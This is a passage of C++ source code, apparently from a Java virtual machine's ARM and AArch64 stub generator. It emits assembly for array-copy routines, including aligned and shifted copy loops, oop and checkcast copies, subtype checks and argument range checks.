bytes_per_count"); int bytes_to_write = forward ? (wordSize - to_remainder) : to_remainder; int offset = 0; for (int l = 0; l < LogBytesPerWord; ++l) { int s = (1 << l); if (bytes_to_write & s) { int new_offset = offset + s*BitsPerByte; if (forward) { if (offset == 0) { store_one(Rval, to, s, forward); } else { __ logical_shift_right(tmp, Rval, offset); store_one(tmp, to, s, forward); } } else { __ logical_shift_right(tmp, Rval, BitsPerWord - new_offset); store_one(tmp, to, s, forward); } offset = new_offset; } } assert (offset == bytes_to_write * BitsPerByte, "all bytes must be copied"); __ sub_32(count, count, bytes_to_write/bytes_per_count); return bytes_to_write / bytes_per_count; } // Copies 'count' of elements using shifted copy loop // // Arguments: // from: beginning (if forward) or upper bound (if !forward) of the region to be read // to: beginning (if forward) or upper bound (if !forward) of the region to be written // count: 32-bit int, number of elements to be copied // to_remainder: remainder of dividing 'to' by wordSize // bytes_per_count: size of an element // forward: specifies copy direction // Rval: contains an already read but not yet written word // // // Notes: // 'count' must not be less then the returned value // 'from' must be aligned by wordSize // 'to' must be aligned by bytes_per_count but must not be aligned by wordSize // shifts 'to' by the number of copied bytes // // Scratches R3-R10, R12 int align_dst_and_generate_shifted_copy_loop(Register from, Register to, Register count, Register Rval, int to_remainder, int bytes_per_count, bool forward) { assert (0 < to_remainder && to_remainder < wordSize, "to_remainder is invalid"); const Register tmp = forward ? R3 : R12; // TODO-AARCH64: on cojoint_short R4 was used for tmp assert_different_registers(from, to, count, Rval, tmp); int required_to_align = align_dst(to, count, Rval, tmp, to_remainder, bytes_per_count, forward); int lsr_shift = (wordSize - to_remainder) * BitsPerByte; int lsl_shift = to_remainder * BitsPerByte; int min_copy; if (forward) { min_copy = generate_forward_shifted_copy_loop(from, to, count, bytes_per_count, lsr_shift, lsl_shift); } else { min_copy = generate_backward_shifted_copy_loop(from, to, count, bytes_per_count, lsr_shift, lsl_shift); } return min_copy + required_to_align; } // Copies 'count' of elements using shifted copy loop // // Arguments: // from: beginning (if forward) or upper bound (if !forward) of the region to be read // to: beginning (if forward) or upper bound (if !forward) of the region to be written // count: 32-bit int, number of elements to be copied // bytes_per_count: size of an element // forward: specifies copy direction // // Notes: // 'count' must not be less then the returned value // 'from' must be aligned by wordSize // 'to' must be aligned by bytes_per_count but must not be aligned by wordSize // shifts 'to' by the number of copied bytes // // Scratches 'from', 'count', R3 and R12. // On AArch64 also scratches R4-R10, on 32-bit ARM saves them to use. int align_dst_and_generate_shifted_copy_loop(Register from, Register to, Register count, int bytes_per_count, bool forward) { const Register Rval = forward ? R12 : R3; // as generate_{forward,backward}_shifted_copy_loop expect int min_copy = 0; // Note: if {seq} is a sequence of numbers, L{seq} means that if the execution reaches this point, // then the remainder of 'to' divided by wordSize is one of elements of {seq}. #ifdef AARCH64 // TODO-AARCH64: simplify, tune load_one(Rval, from, wordSize, forward); Label L_loop_finished; switch (bytes_per_count) { case 4: min_copy = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 4, bytes_per_count, forward); break; case 2: { Label L2, L4, L6; __ tbz(to, 1, L4); __ tbz(to, 2, L2); __ BIND(L6); int min_copy6 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 6, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L2); int min_copy2 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 2, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L4); int min_copy4 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 4, bytes_per_count, forward); min_copy = MAX2(MAX2(min_copy2, min_copy4), min_copy6); break; } case 1: { Label L1, L2, L3, L4, L5, L6, L7; Label L15, L26; Label L246; __ tbz(to, 0, L246); __ tbz(to, 1, L15); __ tbz(to, 2, L3); __ BIND(L7); int min_copy7 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 7, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L246); __ tbnz(to, 1, L26); __ BIND(L4); int min_copy4 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 4, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L15); __ tbz(to, 2, L1); __ BIND(L5); int min_copy5 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 5, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L3); int min_copy3 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 3, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L26); __ tbz(to, 2, L2); __ BIND(L6); int min_copy6 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 6, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L1); int min_copy1 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 1, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L2); int min_copy2 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 2, bytes_per_count, forward); min_copy = MAX2(min_copy1, min_copy2); min_copy = MAX2(min_copy, min_copy3); min_copy = MAX2(min_copy, min_copy4); min_copy = MAX2(min_copy, min_copy5); min_copy = MAX2(min_copy, min_copy6); min_copy = MAX2(min_copy, min_copy7); break; } default: ShouldNotReachHere(); break; } __ BIND(L_loop_finished); #else __ push(RegisterSet(R4,R10)); load_one(Rval, from, wordSize, forward); switch (bytes_per_count) { case 2: min_copy = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 2, bytes_per_count, forward); break; case 1: { Label L1, L2, L3; int min_copy1, min_copy2, min_copy3; Label L_loop_finished; if (forward) { __ tbz(to, 0, L2); __ tbz(to, 1, L1); __ BIND(L3); min_copy3 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 3, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L1); min_copy1 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 1, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L2); min_copy2 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 2, bytes_per_count, forward); } else { __ tbz(to, 0, L2); __ tbnz(to, 1, L3); __ BIND(L1); min_copy1 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 1, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L3); min_copy3 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 3, bytes_per_count, forward); __ b(L_loop_finished); __ BIND(L2); min_copy2 = align_dst_and_generate_shifted_copy_loop(from, to, count, Rval, 2, bytes_per_count, forward); } min_copy = MAX2(MAX2(min_copy1, min_copy2), min_copy3); __ BIND(L_loop_finished); break; } default: ShouldNotReachHere(); break; } __ pop(RegisterSet(R4,R10)); #endif // AARCH64 return min_copy; } #ifndef PRODUCT int * get_arraycopy_counter(int bytes_per_count) { switch (bytes_per_count) { case 1: return &SharedRuntime::_jbyte_array_copy_ctr; case 2: return &SharedRuntime::_jshort_array_copy_ctr; case 4: return &SharedRuntime::_jint_array_copy_ctr; case 8: return &SharedRuntime::_jlong_array_copy_ctr; default: ShouldNotReachHere(); return NULL; } } #endif // !PRODUCT // // Generate stub for primitive array copy. If "aligned" is true, the // "from" and "to" addresses are assumed to be heapword aligned. // // If "disjoint" is true, arrays are assumed to be disjoint, otherwise they may overlap and // "nooverlap_target" must be specified as the address to jump if they don't. // // Arguments for generated stub: // from: R0 // to: R1 // count: R2 treated as signed 32-bit int // address generate_primitive_copy(bool aligned, const char * name, bool status, int bytes_per_count, bool disjoint, address nooverlap_target = NULL) { __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", name); address start = __ pc(); const Register from = R0; // source array address const Register to = R1; // destination array address const Register count = R2; // elements count const Register tmp1 = R3; const Register tmp2 = R12; if (!aligned) { BLOCK_COMMENT("Entry:"); } __ zap_high_non_significant_bits(R2); if (!disjoint) { assert (nooverlap_target != NULL, "must be specified for conjoint case"); array_overlap_test(nooverlap_target, exact_log2(bytes_per_count), tmp1, tmp2); } inc_counter_np(*get_arraycopy_counter(bytes_per_count), tmp1, tmp2); // Conjoint case: since execution reaches this point, the arrays overlap, so performing backward copy // Disjoint case: perform forward copy bool forward = disjoint; if (!forward) { // Set 'from' and 'to' to upper bounds int log_bytes_per_count = exact_log2(bytes_per_count); __ add_ptr_scaled_int32(to, to, count, log_bytes_per_count); __ add_ptr_scaled_int32(from, from, count, log_bytes_per_count); } // There are two main copy loop implementations: // *) The huge and complex one applicable only for large enough arrays // *) The small and simple one applicable for any array (but not efficient for large arrays). // Currently "small" implementation is used if and only if the "large" one could not be used. // XXX optim: tune the limit higher ? // Large implementation lower applicability bound is actually determined by // aligned copy loop which require <=7 bytes for src alignment, and 8 words for aligned copy loop. const int small_copy_limit = (8*wordSize + 7) / bytes_per_count; Label L_small_array; __ cmp_32(count, small_copy_limit); __ b(L_small_array, le); // TODO-AARCH64: le vs lt // Otherwise proceed with large implementation. bool from_is_aligned = (bytes_per_count >= 8); if (aligned && forward && (HeapWordSize % 8 == 0)) { // if 'from' is heapword aligned and HeapWordSize is divisible by 8, // then from is aligned by 8 from_is_aligned = true; } int count_required_to_align = from_is_aligned ? 0 : align_src(from, to, count, tmp1, bytes_per_count, forward); assert (small_copy_limit >= count_required_to_align, "alignment could exhaust count"); // now 'from' is aligned bool to_is_aligned = false; if (bytes_per_count >= wordSize) { // 'to' is aligned by bytes_per_count, so it is aligned by wordSize to_is_aligned = true; } else { if (aligned && (8 % HeapWordSize == 0) && (HeapWordSize % wordSize == 0)) { // Originally 'from' and 'to' were heapword aligned; // (from - to) has not been changed, so since now 'from' is 8-byte aligned, then it is also heapword aligned, // so 'to' is also heapword aligned and thus aligned by wordSize. to_is_aligned = true; } } Label L_unaligned_dst; if (!to_is_aligned) { BLOCK_COMMENT("Check dst alignment:"); __ tst(to, wordSize - 1); __ b(L_unaligned_dst, ne); // 'to' is not aligned } // 'from' and 'to' are properly aligned int min_copy; if (forward) { min_copy = generate_forward_aligned_copy_loop (from, to, count, bytes_per_count); } else { min_copy = generate_backward_aligned_copy_loop(from, to, count, bytes_per_count); } assert(small_copy_limit >= count_required_to_align + min_copy, "first loop might exhaust count"); if (status) { __ mov(R0, 0); // OK } __ ret(); { copy_small_array(from, to, count, tmp1, tmp2, bytes_per_count, forward, L_small_array /* entry */); if (status) { __ mov(R0, 0); // OK } __ ret(); } if (! to_is_aligned) { __ BIND(L_unaligned_dst); int min_copy_shifted = align_dst_and_generate_shifted_copy_loop(from, to, count, bytes_per_count, forward); assert (small_copy_limit >= count_required_to_align + min_copy_shifted, "first loop might exhaust count"); if (status) { __ mov(R0, 0); // OK } __ ret(); } return start; } // Generates pattern of code to be placed after raw data copying in generate_oop_copy // Includes return from arraycopy stub. // // Arguments: // to: destination pointer after copying. // if 'forward' then 'to' == upper bound, else 'to' == beginning of the modified region // count: total number of copied elements, 32-bit int // // Blows all volatile (R0-R3 on 32-bit ARM, R0-R18 on AArch64, Rtemp, LR) and 'to', 'count', 'tmp' registers. void oop_arraycopy_stub_epilogue_helper(Register to, Register count, Register tmp, bool status, bool forward, DecoratorSet decorators) { assert_different_registers(to, count, tmp); if (forward) { // 'to' is upper bound of the modified region // restore initial dst: __ sub_ptr_scaled_int32(to, to, count, LogBytesPerHeapOop); } // 'to' is the beginning of the region BarrierSetAssembler *bs = BarrierSet::barrier_set()->barrier_set_assembler(); bs->arraycopy_epilogue(_masm, decorators, true, to, count, tmp); if (status) { __ mov(R0, 0); // OK } #ifdef AARCH64 __ raw_pop(LR, ZR); __ ret(); #else __ pop(PC); #endif // AARCH64 } // Generate stub for assign-compatible oop copy. If "aligned" is true, the // "from" and "to" addresses are assumed to be heapword aligned. // // If "disjoint" is true, arrays are assumed to be disjoint, otherwise they may overlap and // "nooverlap_target" must be specified as the address to jump if they don't. // // Arguments for generated stub: // from: R0 // to: R1 // count: R2 treated as signed 32-bit int // address generate_oop_copy(bool aligned, const char * name, bool status, bool disjoint, address nooverlap_target = NULL) { __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", name); address start = __ pc(); Register from = R0; Register to = R1; Register count = R2; Register tmp1 = R3; Register tmp2 = R12; if (!aligned) { BLOCK_COMMENT("Entry:"); } __ zap_high_non_significant_bits(R2); if (!disjoint) { assert (nooverlap_target != NULL, "must be specified for conjoint case"); array_overlap_test(nooverlap_target, LogBytesPerHeapOop, tmp1, tmp2); } inc_counter_np(SharedRuntime::_oop_array_copy_ctr, tmp1, tmp2); // Conjoint case: since execution reaches this point, the arrays overlap, so performing backward copy // Disjoint case: perform forward copy bool forward = disjoint; const int bytes_per_count = BytesPerHeapOop; const int log_bytes_per_count = LogBytesPerHeapOop; const Register saved_count = LR; const int callee_saved_regs = 3; // R0-R2 // LR is used later to save barrier args #ifdef AARCH64 __ raw_push(LR, ZR); #else __ push(LR); #endif // AARCH64 DecoratorSet decorators = IN_HEAP | IN_HEAP_ARRAY; if (disjoint) { decorators |= ARRAYCOPY_DISJOINT; } if (aligned) { decorators |= ARRAYCOPY_ALIGNED; } BarrierSetAssembler *bs = BarrierSet::barrier_set()->barrier_set_assembler(); bs->arraycopy_prologue(_masm, decorators, true, to, count, callee_saved_regs); // save arguments for barrier generation (after the pre barrier) __ mov(saved_count, count); if (!forward) { __ add_ptr_scaled_int32(to, to, count, log_bytes_per_count); __ add_ptr_scaled_int32(from, from, count, log_bytes_per_count); } // for short arrays, just do single element copy Label L_small_array; const int small_copy_limit = (8*wordSize + 7)/bytes_per_count; // XXX optim: tune the limit higher ? __ cmp_32(count, small_copy_limit); __ b(L_small_array, le); bool from_is_aligned = (bytes_per_count >= 8); if (aligned && forward && (HeapWordSize % 8 == 0)) { // if 'from' is heapword aligned and HeapWordSize is divisible by 8, // then from is aligned by 8 from_is_aligned = true; } int count_required_to_align = from_is_aligned ? 0 : align_src(from, to, count, tmp1, bytes_per_count, forward); assert (small_copy_limit >= count_required_to_align, "alignment could exhaust count"); // now 'from' is aligned bool to_is_aligned = false; if (bytes_per_count >= wordSize) { // 'to' is aligned by bytes_per_count, so it is aligned by wordSize to_is_aligned = true; } else { if (aligned && (8 % HeapWordSize == 0) && (HeapWordSize % wordSize == 0)) { // Originally 'from' and 'to' were heapword aligned; // (from - to) has not been changed, so since now 'from' is 8-byte aligned, then it is also heapword aligned, // so 'to' is also heapword aligned and thus aligned by wordSize. to_is_aligned = true; } } Label L_unaligned_dst; if (!to_is_aligned) { BLOCK_COMMENT("Check dst alignment:"); __ tst(to, wordSize - 1); __ b(L_unaligned_dst, ne); // 'to' is not aligned } int min_copy; if (forward) { min_copy = generate_forward_aligned_copy_loop(from, to, count, bytes_per_count); } else { min_copy = generate_backward_aligned_copy_loop(from, to, count, bytes_per_count); } assert(small_copy_limit >= count_required_to_align + min_copy, "first loop might exhaust count"); oop_arraycopy_stub_epilogue_helper(to, saved_count, /* tmp */ tmp1, status, forward, decorators); { copy_small_array(from, to, count, tmp1, noreg, bytes_per_count, forward, L_small_array); oop_arraycopy_stub_epilogue_helper(to, saved_count, /* tmp */ tmp1, status, forward, decorators); } if (!to_is_aligned) { // !to_is_aligned <=> UseCompressedOops && AArch64 __ BIND(L_unaligned_dst); #ifdef AARCH64 assert (UseCompressedOops, "unaligned oop array copy may be requested only with UseCompressedOops"); #else ShouldNotReachHere(); #endif // AARCH64 int min_copy_shifted = align_dst_and_generate_shifted_copy_loop(from, to, count, bytes_per_count, forward); assert (small_copy_limit >= count_required_to_align + min_copy_shifted, "first loop might exhaust count"); oop_arraycopy_stub_epilogue_helper(to, saved_count, /* tmp */ tmp1, status, forward, decorators); } return start; } // Generate 'unsafe' array copy stub // Though just as safe as the other stubs, it takes an unscaled // size_t argument instead of an element count. // // Arguments for generated stub: // from: R0 // to: R1 // count: R2 byte count, treated as ssize_t, can be zero // // Examines the alignment of the operands and dispatches // to a long, int, short, or byte copy loop. // address generate_unsafe_copy(const char* name) { const Register R0_from = R0; // source array address const Register R1_to = R1; // destination array address const Register R2_count = R2; // elements count const Register R3_bits = R3; // test copy of low bits __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", name); address start = __ pc(); #ifdef AARCH64 __ NOT_IMPLEMENTED(); start = NULL; #else const Register tmp = Rtemp; // bump this on entry, not on exit: inc_counter_np(SharedRuntime::_unsafe_array_copy_ctr, R3, tmp); __ orr(R3_bits, R0_from, R1_to); __ orr(R3_bits, R2_count, R3_bits); __ tst(R3_bits, BytesPerLong-1); __ mov(R2_count,AsmOperand(R2_count,asr,LogBytesPerLong), eq); __ jump(StubRoutines::_jlong_arraycopy, relocInfo::runtime_call_type, tmp, eq); __ tst(R3_bits, BytesPerInt-1); __ mov(R2_count,AsmOperand(R2_count,asr,LogBytesPerInt), eq); __ jump(StubRoutines::_jint_arraycopy, relocInfo::runtime_call_type, tmp, eq); __ tst(R3_bits, BytesPerShort-1); __ mov(R2_count,AsmOperand(R2_count,asr,LogBytesPerShort), eq); __ jump(StubRoutines::_jshort_arraycopy, relocInfo::runtime_call_type, tmp, eq); __ jump(StubRoutines::_jbyte_arraycopy, relocInfo::runtime_call_type, tmp); #endif return start; } // Helper for generating a dynamic type check. // Smashes only the given temp registers. void generate_type_check(Register sub_klass, Register super_check_offset, Register super_klass, Register tmp1, Register tmp2, Register tmp3, Label& L_success) { assert_different_registers(sub_klass, super_check_offset, super_klass, tmp1, tmp2, tmp3); BLOCK_COMMENT("type_check:"); // If the pointers are equal, we are done (e.g., String[] elements). __ cmp(super_klass, sub_klass); __ b(L_success, eq); // fast success Label L_loop, L_fail; int sc_offset = in_bytes(Klass::secondary_super_cache_offset()); // Check the supertype display: __ ldr(tmp1, Address(sub_klass, super_check_offset)); __ cmp(tmp1, super_klass); __ b(L_success, eq); __ cmp(super_check_offset, sc_offset); __ b(L_fail, ne); // failure BLOCK_COMMENT("type_check_slow_path:"); // a couple of useful fields in sub_klass: int ss_offset = in_bytes(Klass::secondary_supers_offset()); // Do a linear scan of the secondary super-klass chain. #ifndef PRODUCT int* pst_counter = &SharedRuntime::_partial_subtype_ctr; __ inc_counter((address) pst_counter, tmp1, tmp2); #endif Register scan_temp = tmp1; Register count_temp = tmp2; // We will consult the secondary-super array. __ ldr(scan_temp, Address(sub_klass, ss_offset)); Register search_key = super_klass; // Load the array length. __ ldr_s32(count_temp, Address(scan_temp, Array<Klass*>::length_offset_in_bytes())); __ add(scan_temp, scan_temp, Array<Klass*>::base_offset_in_bytes()); __ add(count_temp, count_temp, 1); // Top of search loop __ bind(L_loop); // Notes: // scan_temp starts at the array elements // count_temp is 1+size __ subs(count_temp, count_temp, 1); __ b(L_fail, eq); // not found // Load next super to check // In the array of super classes elements are pointer sized. int element_size = wordSize; __ ldr(tmp3, Address(scan_temp, element_size, post_indexed)); // Look for Rsuper_klass on Rsub_klass's secondary super-class-overflow list __ cmp(tmp3, search_key); // A miss means we are NOT a subtype and need to keep looping __ b(L_loop, ne); // Falling out the bottom means we found a hit; we ARE a subtype // Success. Cache the super we found and proceed in triumph. __ str(super_klass, Address(sub_klass, sc_offset)); // Jump to success __ b(L_success); // Fall through on failure! __ bind(L_fail); } // Generate stub for checked oop copy. // // Arguments for generated stub: // from: R0 // to: R1 // count: R2 treated as signed 32-bit int // ckoff: R3 (super_check_offset) // ckval: R4 (AArch64) / SP[0] (32-bit ARM) (super_klass) // ret: R0 zero for success; (-1^K) where K is partial transfer count (32-bit) // address generate_checkcast_copy(const char * name) { __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", name); address start = __ pc(); const Register from = R0; // source array address const Register to = R1; // destination array address const Register count = R2; // elements count const Register R3_ckoff = R3; // super_check_offset const Register R4_ckval = R4; // super_klass const int callee_saved_regs = AARCH64_ONLY(5) NOT_AARCH64(4); // LR saved differently Label load_element, store_element, do_epilogue, fail; BLOCK_COMMENT("Entry:"); __ zap_high_non_significant_bits(R2); #ifdef AARCH64 __ raw_push(LR, ZR); __ raw_push(R19, R20); #else int pushed = 0; __ push(LR); pushed+=1; #endif // AARCH64 DecoratorSet decorators = IN_HEAP | IN_HEAP_ARRAY | ARRAYCOPY_CHECKCAST; BarrierSetAssembler *bs = BarrierSet::barrier_set()->barrier_set_assembler(); bs->arraycopy_prologue(_masm, decorators, true, to, count, callee_saved_regs); #ifndef AARCH64 const RegisterSet caller_saved_regs = RegisterSet(R4,R6) | RegisterSet(R8,R9) | altFP_7_11; __ push(caller_saved_regs); assert(caller_saved_regs.size() == 6, "check the count"); pushed+=6; __ ldr(R4_ckval,Address(SP, wordSize*pushed)); // read the argument that was on the stack #endif // !AARCH64 // Save arguments for barrier generation (after the pre barrier): // - must be a caller saved register and not LR // - ARM32: avoid R10 in case RThread is needed const Register saved_count = AARCH64_ONLY(R19) NOT_AARCH64(altFP_7_11); #ifdef AARCH64 __ mov_w(saved_count, count); __ cbnz_w(count, load_element); // and test count #else __ movs(saved_count, count); // and test count __ b(load_element,ne); #endif // AARCH64 // nothing to copy __ mov(R0, 0); #ifdef AARCH64 __ raw_pop(R19, R20); __ raw_pop(LR, ZR); __ ret(); #else __ pop(caller_saved_regs); __ pop(PC); #endif // AARCH64 // ======== begin loop ======== // (Loop is rotated; its entry is load_element.) __ align(OptoLoopAlignment); __ BIND(store_element); if (UseCompressedOops) { __ store_heap_oop(Address(to, BytesPerHeapOop, post_indexed), R5); // store the oop, changes flags __ subs_32(count,count,1); } else { __ subs_32(count,count,1); __ str(R5, Address(to, BytesPerHeapOop, post_indexed)); // store the oop } __ b(do_epilogue, eq); // count exhausted // ======== loop entry is here ======== __ BIND(load_element); __ load_heap_oop(R5, Address(from, BytesPerHeapOop, post_indexed)); // load the oop __ cbz(R5, store_element); // NULL __ load_klass(R6, R5); generate_type_check(R6, R3_ckoff, R4_ckval, /*tmps*/ R12, R8, R9, // branch to this on success: store_element); // ======== end loop ======== // It was a real error; we must depend on the caller to finish the job. // Register count has number of *remaining* oops, saved_count number of *total* oops. // Emit GC store barriers for the oops we have copied // and report their number to the caller (0 or (-1^n)) __ BIND(fail); // Note: fail marked by the fact that count differs from saved_count __ BIND(do_epilogue); Register copied = AARCH64_ONLY(R20) NOT_AARCH64(R4); // saved Label L_not_copied; __ subs_32(copied, saved_count, count); // copied count (in saved reg) __ b(L_not_copied, eq); // nothing was copied, skip post barrier __ sub(to, to, AsmOperand(copied, lsl, LogBytesPerHeapOop)); // initial to value __ mov(R12, copied); // count arg scratched by post barrier bs->arraycopy_epilogue(_masm, decorators, true, to, R12, R3); assert_different_registers(R3,R12,LR,copied,saved_count); inc_counter_np(SharedRuntime::_checkcast_array_copy_ctr, R3, R12); __ BIND(L_not_copied); __ cmp_32(copied, saved_count); // values preserved in saved registers #ifdef AARCH64 __ csinv(R0, ZR, copied, eq); // 0 if all copied else NOT(copied) __ raw_pop(R19, R20); __ raw_pop(LR, ZR); __ ret(); #else __ mov(R0, 0, eq); // 0 if all copied __ mvn(R0, copied, ne); // else NOT(copied) __ pop(caller_saved_regs); __ pop(PC); #endif // AARCH64 return start; } // Perform range checks on the proposed arraycopy. // Kills the two temps, but nothing else. void arraycopy_range_checks(Register src, // source array oop Register src_pos, // source position (32-bit int) Register dst, // destination array oop Register dst_pos, // destination position (32-bit int) Register length, // length of copy (32-bit int) Register temp1, Register temp2, Label& L_failed) { BLOCK_COMMENT("arraycopy_range_checks:"); // if (src_pos + length > arrayOop(src)->length() ) FAIL; const Register array_length = temp1; // scratch const Register end_pos = temp2; // scratch __ add_32(end_pos, length, src_pos); // src_pos + length __ ldr_s32(array_length, Address(src, arrayOopDesc::length_offset_in_bytes())); __ cmp_32(end_pos, array_length); __ b(L_failed, hi); // if (dst_pos + length > arrayOop(dst)->length() ) FAIL; __ add_32(end_pos, length, dst_pos); // dst_pos + length __ ldr_s32(array_length, Address(dst, arrayOopDesc::length_offset_in_bytes())); __ cmp_32(end_pos, array_length); __ b(L_failed, hi); BLOCK_COMMENT("arraycopy_range_checks done"); } // // Generate generic array copy stubs // // Input: // R0 - src oop // R1 - src_pos (32-bit int) // R2 - dst oop // R3 - dst_pos (32-bit int) // R4 (AArch64) / SP[0] (32-bit ARM) - element count (32-bit int) // // Output: (32-bit int) // R0 == 0 - success // R0 < 0 - need to call System.arraycopy // address generate_generic_copy(const char *name) { Label L_failed, L_objArray; // Input registers const Register src = R0; // source array oop const Register src_pos = R1; // source position const Register dst = R2; // destination array oop const Register dst_pos = R3; // destination position // registers used as temp const Register R5_src_klass = R5; // source array klass const Register R6_dst_klass = R6; // destination array klass const Register R_lh = AARCH64_ONLY(R7) NOT_AARCH64(altFP_7_11); // layout handler const Register R8_temp = R8; __ align(CodeEntryAlignment); StubCodeMark mark(this, "StubRoutines", name); address start = __ pc(); __ zap_high_non_significant_bits(R1); __ zap_high_non_significant_bits(R3); __ zap_high_non_significant_bits(R4); #ifndef AARCH64 int pushed = 0; const RegisterSet saved_regs = RegisterSet(R4,R6) | RegisterSet(R8,R9) | altFP_7_11; __ push(saved_regs); assert(saved_regs.size() == 6, "check the count"); pushed+=6; #endif // !AARCH64 // bump this on entry, not on exit: inc_counter_np(SharedRuntime::_generic_array_copy_ctr, R5, R12); const Register length = R4; // elements count #ifndef AARCH64 __ ldr(length, Address(SP,4*pushed)); #endif // !AARCH64 //----------------------------------------------------------------------- // Assembler stubs will be used for this call to arraycopy // if the following conditions are met: // // (1) src and dst must not be null. // (2) src_pos must not be negative. // (3) dst_pos must not be negative. // (4) length must not be negative. // (5) src klass and dst klass should be the same and not NULL. // (6) src and dst should be arrays. // (7) src_pos + length must not exceed length of src. // (8) dst_pos + length must not exceed length of dst. BLOCK_COMMENT("arraycopy initial argument checks"); // if (src == NULL) return -1; __ cbz(src, L_failed); // if (src_pos < 0) return -1; __ cmp_32(src_pos, 0); __ b(L_failed, lt); // if (dst == NULL) return -1; __ cbz(dst, L_failed); // if (dst_pos < 0) return -1; __ cmp_32(dst_pos, 0); __ b(L_failed, lt); // if (length < 0) return -1; __ cmp_32(length, 0); __ b(L_failed, lt); BLOCK_COMMENT("arraycopy argument klass checks"); // get src->klass() __ load_klass(R5_src_klass, src); // Load layout helper // // |array_tag| | header_size | element_type | |log2_element_size| // 32 30 24 16 8 2 0 // // array_tag: typeArray = 0x3, objArray = 0x2, non-array = 0x0 // int lh_offset = in_bytes(Klass::layout_helper_offset()); __ ldr_u32(R_lh, Address(R5_src_klass, lh_offset)); __ load_klass(R6_dst_klass, dst); // Handle objArrays completely differently... juint objArray_lh = Klass::array_layout_helper(T_OBJECT); __ mov_slow(R8_temp, objArray_lh); __ cmp_32(R_lh, R8_temp); __ b(L_objArray,eq); // if (src->klass() != dst->klass()) return -1; __ cmp(R5_src_klass, R6_dst_klass); __ b(L_failed, ne); // if (!src->is_Array()) return -1; __ cmp_32(R_lh, Klass::_lh_neutral_value); // < 0 __ b(L_failed, ge); arraycopy_range_checks(src, src_pos, dst, dst_pos, length, R8_temp, R6_dst_klass, L_failed); { // TypeArrayKlass // // src_addr = (src + array_header_in_bytes()) + (src_pos << log2elemsize); // dst_addr = (dst + array_header_in_bytes()) + (dst_pos << log2elemsize); // const Register R6_offset = R6_dst_klass; // array offset const Register R12_elsize = R12; // log2 element size __ logical_shift_right(R6_offset, R_lh, Klass::_lh_header_size_shift); __ andr(R6_offset, R6_offset, (unsigned int)Klass::_lh_header_size_mask); // array_offset __ add(src, src, R6_offset); // src array offset __ add(dst, dst, R6_offset); // dst array offset __ andr(R12_elsize, R_lh, (unsigned int)Klass::_lh_log2_element_size_mask); // log2 element size // next registers should be set before the jump to corresponding stub const Register from = R0; // source array address const Register to = R1; // destination array address const Register count = R2; // elements count // 'from', 'to', 'count' registers should be set in this order // since they are the same as 'src', 'src_pos', 'dst'. #ifdef AARCH64 BLOCK_COMMENT("choose copy loop based on element size and scale indexes"); Label Lbyte, Lshort, Lint, Llong; __ cbz(R12_elsize, Lbyte); assert (LogBytesPerShort < LogBytesPerInt && LogBytesPerInt < LogBytesPerLong, "must be"); __ cmp(R12_elsize, LogBytesPerInt); __ b(Lint, eq); __ b(Llong, gt); __ BIND(Lshort); __ add_ptr_scaled_int32(from, src, src_pos, LogBytesPerShort); __ add_ptr_scaled_int32(to, dst, dst_pos, LogBytesPerShort); __ mov(count, length); __ b(StubRoutines::_jshort_arraycopy); __ BIND(Lint); __ add_ptr_scaled_int32(from, src, src_pos, LogBytesPerInt); __ add_ptr_scaled_int32(to, dst, dst_pos, LogBytesPerInt); __ mov(count, length); __ b(StubRoutines::_jint_arraycopy); __ BIND(Lbyte); __ add_ptr_scaled_int32(from, src, src_pos, 0); __ add_ptr_scaled_int32(to, dst, dst_pos, 0); __ mov(count, length); __ b(StubRoutines::_jbyte_arraycopy); __ BIND(Llong); __ add_ptr_scaled_int32(from, src, src_pos, LogBytesPerLong); __ add_ptr_scaled_int32(to, dst, dst_pos, LogBytesPerLong); __ mov(count, length); __ b(StubRoutines::_jlong_arraycopy); #else // AARCH64 BLOCK_COMMENT("scale indexes to element size"); __ add(from, src, AsmOperand(src_pos, lsl, R12_elsize)); // src_addr __ add(to, dst, AsmOperand(dst_pos, lsl, R12_elsize)); // dst_addr __ mov(count, length); // length // XXX optim: avoid later push in arraycopy variants ? __ pop(saved_regs); BLOCK_COMMENT("choose copy loop based on element size"); __ cmp(R12_elsize, 0); __ b(StubRoutines::_jbyte_arraycopy,eq); __ cmp(R12_elsize, LogBytesPerShort); __ b(StubRoutines::_jshort_arraycopy,eq); __ cmp(R12_elsize, LogBytesPerInt); __ b(StubRoutines::_jint_arraycopy,eq); __ b(StubRoutines::_jlong_arraycopy); #endif // AARCH64 } // ObjArrayKlass __ BIND(L_objArray); // live at this point: R5_src_klass, R6_dst_klass, src[_pos], dst[_pos], length Label L_plain_copy, L_checkcast_copy; // test array classes for subtyping __ cmp(R5_src_klass, R6_dst_klass); // usual case is exact equality __ b(L_checkcast_copy, ne); 